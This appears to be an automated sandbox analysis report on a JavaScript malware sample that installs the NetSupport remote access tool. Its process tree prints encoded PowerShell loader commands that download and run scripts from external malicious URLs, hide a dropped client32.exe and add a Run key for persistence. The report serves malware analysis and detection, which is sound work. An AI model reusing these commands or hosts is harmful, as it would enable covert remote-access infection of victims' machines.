Analysis
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max time kernel
135s -
max time network
144s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
17/05/2023, 10:19
Static task
static1
Behavioral task
behavioral1
Sample
doc4978316.js
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
doc4978316.js
Resource
win10v2004-20230220-en
General
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Target
doc4978316.js
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Size
35KB
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MD5
c21cf0ea00b1fd7e53fa14b55dd1be82
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SHA1
aff249ddfc8d8fac75d0bf040579cf32e0d50e2a
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SHA256
c9e6dc44db59f1883e850babac21890e5723d2627a623c47f709e3bb7d073e35
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SHA512
82e4004f78f1aef5dfd1ae83b6dec4422e0960d15b6bb5f845ae7af13617fa9349046ce74be0b893de2e139ee6c93106048f0f2be70199d6567095c14d1ae618
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SSDEEP
384:Wj9safdV7zZ/iRRil5Vxy67U2j0etD/1qQMmFcDpOlkjQSHnY4bvwn3QmvCBHx5H:WCWZERq02j0I/1YH9gSRvww7EjzG1
Malware Config
Extracted
https://birikina.it/files/f1.ps1
Extracted
https://alnama.net/realty/license.php
Signatures
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NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
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Blocklisted process makes network request 1 IoCs
flow pid Process 6 1712 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation wscript.exe -
Executes dropped EXE 1 IoCs
pid Process 2992 client32.exe -
Loads dropped DLL 6 IoCs
pid Process 2992 client32.exe 2992 client32.exe 2992 client32.exe 2992 client32.exe 2992 client32.exe 2992 client32.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ONEN0TEupdate_8237 = "C:\\Users\\Admin\\AppData\\Roaming\\ONEN0TEupdate_8237\\client32.exe" powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1712 powershell.exe 1712 powershell.exe 3444 powershell.exe 3444 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 1712 powershell.exe Token: SeDebugPrivilege 3444 powershell.exe Token: SeSecurityPrivilege 2992 client32.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2992 client32.exe -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 1220 wrote to memory of 4960 1220 wscript.exe 84 PID 1220 wrote to memory of 4960 1220 wscript.exe 84 PID 4960 wrote to memory of 1712 4960 cmd.exe 86 PID 4960 wrote to memory of 1712 4960 cmd.exe 86 PID 1712 wrote to memory of 3444 1712 powershell.exe 87 PID 1712 wrote to memory of 3444 1712 powershell.exe 87 PID 3444 wrote to memory of 2992 3444 powershell.exe 96 PID 3444 wrote to memory of 2992 3444 powershell.exe 96 PID 3444 wrote to memory of 2992 3444 powershell.exe 96
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\doc4978316.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1220 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c PoWersHEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBiAGkAcgBpAGsAaQBuAGEALgBpAHQALwBmAGkAbABlAHMALwBmADEALgBwAHMAMQAiACkA2⤵
- Suspicious use of WriteProcessMemory
PID:4960 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePoWersHEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBiAGkAcgBpAGsAaQBuAGEALgBpAHQALwBmAGkAbABlAHMALwBmADEALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1712 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -ep bypass -windowstyle minimized -enc YwBkACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAOwAgACQAbABpAG4AawA9ACcAaAB0AHQAcABzADoALwAvAGEAbABuAGEAbQBhAC4AbgBlAHQALwByAGUAYQBsAHQAeQAvAGwAaQBjAGUAbgBzAGUALgBwAGgAcAAnADsAIAAkAHIAbgB1AG0APQBHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBtAGkAbgBpAG0AdQBtACAANQAgAC0AbQBhAHgAaQBtAHUAbQAgADkAOwAgACQAcgByAG4AdQBtAD0ARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AbQBpAG4AaQBtAHUAbQAgADEAMAAyADQAIAAtAG0AYQB4AGkAbQB1AG0AIAA5ADkAOQA5ADsAIAAkAGMAaAByAHMAPQAnAGEAYgBjAGQAZQBmAGcAaABpAGoAawBsAG0AbgBvAHAAcwB0AHUAdgB3AHgAeQB6AEEAQgBDAEQARQBGAEcASABJAEoASwBMAE0ATgBPAFAAUgBTAFQAVQBWAFcAWABZAFoAJwA7ACAAJAByAHMAdAByAD0AJwAnADsAIAAkAHIAYQBuAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AUgBhAG4AZABvAG0AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAcgBuAHUAbQA7ACAAJABpACsAKwApACAAewAkAHIAcwB0AHIAKwA9ACQAYwBoAHIAcwBbACQAcgBhAG4ALgBuAGUAeAB0ACgAMAAsACAAJABjAGgAcgBzAC4ATABlAG4AZwB0AGgAKQBdAH0AOwAgACQAcgB6AGkAcAA9ACQAcgBzAHQAcgArACcALgB6AGkAcAAnADsAIAAkAHAAYQB0AGgAPQAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQArACcAXAAnACsAJAByAHoAaQBwADsAIAAkAHAAegBpAHAAPQAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQArACcAXABPAE4ARQBOADAAVABFAHUAcABkAGEAdABlAF8AJwArACQAcgByAG4AdQBtADsAIABTAHQAYQByAHQALQBCAGkAdABzAFQAcgBhAG4AcwBmAGUAcgAgAC0AUwBvAHUAcgBjAGUAIAAkAGwAaQBuAGsAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgACQAUABhAHQAaAA7ACAAZQB4AHAAYQBuAGQALQBhAHIAYwBoAGkAdgBlACAALQBwAGEAdABoACAAJABwAGEAdABoACAALQBkAGUAcwB0AGkAbgBhAHQAaQBvAG4AcABhAHQAaAAgACQAcAB6AGkAcAA7ACAAJABGAE8ATABEAD0ARwBlAHQALQBJAHQAZQBtACAAJABwAHoAaQBwACAALQBGAG8AcgBjAGUAOwAgACQARgBPAEwARAAuAGEAdAB0AHIAaQBiAHUAdABlAHMAPQAnAEgAaQBkAGQAZQBuACcAOwAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AcABhAHQAaAAgACQAcABhAHQAaAA7ACAAYwBkACAAJABwAHoAaQBwADsAIABzAHQAYQByAHQAIABjAGwAaQBlAG4AdAAzADIALgBlAHgAZQA7ACAAJABmAHMAdAByAD0AJABwAHoAaQBwACsAJwBcAGMAbABpAGUAbgB0ADMAMgAuAGUAeABlACcAOwAgACQAcgBuAG0APQAnAE8ATgBFAE4AMABUAEUAdQBwAGQAYQB0AGUAXwAnACsAJAByAHIAbgB1AG0AOwAgAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACcAIAAtAE4AYQBtAGUAIAAkAHIAbgBtACAALQBWAGEAbAB1AGUAIAAkAGYAcwB0AHIAIAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIAAnAFMAdAByAGkAbgBnACcAOwA=4⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3444 -
C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_8237\client32.exe"C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_8237\client32.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2992
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
3KB
MD5dd6085af47993de750fc1bba39e02d75
SHA1c83d868735b3170ae109cacc1163ba647ab3e5b2
SHA256847924eed8197b381f6dfe87f2f1ad3d6a4ea542e5afe291e3e5144419ba28b4
SHA5129d50ba6331a1c5b1ae6b38bdee8e8bf871d63c3245b78b40d6287b9730e862bd731f99e1956ddf28db819592b35b005824b078535de2a0003523ebd8ab62c59d
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Filesize
1KB
MD56c4805e00673bef922d51b1a7137028f
SHA10eabb38482d1733dd85a2af9c5342c2cafcd41eb
SHA2567af7d25fe7e3bb8b75bcffaa8573e2e9af7e7f70a840fa8bc0196d0ab396ecdd
SHA512eb6dacb4e0da6f45028ebf65ebffdc6aecdb6a34a582bb69aa5836ef02a7115f6b500ef2dd6a2c2be994ec9d0cbbff564368724593666105d3d4475441830cc1
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
320KB
MD5c94005d2dcd2a54e40510344e0bb9435
SHA155b4a1620c5d0113811242c20bd9870a1e31d542
SHA2563c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
SHA5122e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a
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Filesize
320KB
MD5c94005d2dcd2a54e40510344e0bb9435
SHA155b4a1620c5d0113811242c20bd9870a1e31d542
SHA2563c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
SHA5122e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a
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Filesize
755KB
MD50e37fbfa79d349d672456923ec5fbbe3
SHA14e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA2568793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA5122bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630
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Filesize
258B
MD51b41e64c60ca9dfadeb063cd822ab089
SHA1abfcd51bb120a7eae5bbd9a99624e4abe0c9139d
SHA256f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d
SHA512c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4
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Filesize
18KB
MD5104b30fef04433a2d2fd1d5f99f179fe
SHA1ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA5125efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f
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Filesize
3.6MB
MD5d3d39180e85700f72aaae25e40c125ff
SHA1f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15
SHA25638684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5
SHA512471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f
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Filesize
3.6MB
MD5d3d39180e85700f72aaae25e40c125ff
SHA1f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15
SHA25638684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5
SHA512471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f
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Filesize
104KB
MD5f76954b68cc390f8009f1a052283a740
SHA13112a39aad950045d6422fb2abe98bed05931e6c
SHA25663315df7981130853d75dc753e5776bdf371811bcfce351557c1e45afdd1ebfb
SHA512d3aea0867b488161f62e43e7c250ad3917713b8b183139fb6e06c71594fb0cec769e1494b7cc257117992ae4aa891e056f99c25431ae19f032b1ba779051a880
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Filesize
104KB
MD5f76954b68cc390f8009f1a052283a740
SHA13112a39aad950045d6422fb2abe98bed05931e6c
SHA25663315df7981130853d75dc753e5776bdf371811bcfce351557c1e45afdd1ebfb
SHA512d3aea0867b488161f62e43e7c250ad3917713b8b183139fb6e06c71594fb0cec769e1494b7cc257117992ae4aa891e056f99c25431ae19f032b1ba779051a880
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Filesize
104KB
MD5f76954b68cc390f8009f1a052283a740
SHA13112a39aad950045d6422fb2abe98bed05931e6c
SHA25663315df7981130853d75dc753e5776bdf371811bcfce351557c1e45afdd1ebfb
SHA512d3aea0867b488161f62e43e7c250ad3917713b8b183139fb6e06c71594fb0cec769e1494b7cc257117992ae4aa891e056f99c25431ae19f032b1ba779051a880
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Filesize
919B
MD51c5dde5b0e8f8d65ba782a144129c78f
SHA1014ed23957d9fd5ddbee8e8a5782b881ebcb2602
SHA256ebf387d80981c731d812bcb8e1a1d48fdb43e81c3bc206fda05753b6a3dc8d0b
SHA512226ab2c1a79107e01563e14e9a77c98ac09aec2181cdf057533e77cd20a5e48885b896c6bd97a81dea030aee12e2cb055d58fe9310edf3459e277d2279ab6c9b
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Filesize
755KB
MD50e37fbfa79d349d672456923ec5fbbe3
SHA14e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA2568793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA5122bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630
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Filesize
755KB
MD50e37fbfa79d349d672456923ec5fbbe3
SHA14e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA2568793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA5122bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630
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Filesize
32KB
MD534dfb87e4200d852d1fb45dc48f93cfc
SHA135b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA2562d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2
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Filesize
32KB
MD534dfb87e4200d852d1fb45dc48f93cfc
SHA135b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA2562d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2
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Filesize
18KB
MD5104b30fef04433a2d2fd1d5f99f179fe
SHA1ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA5125efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f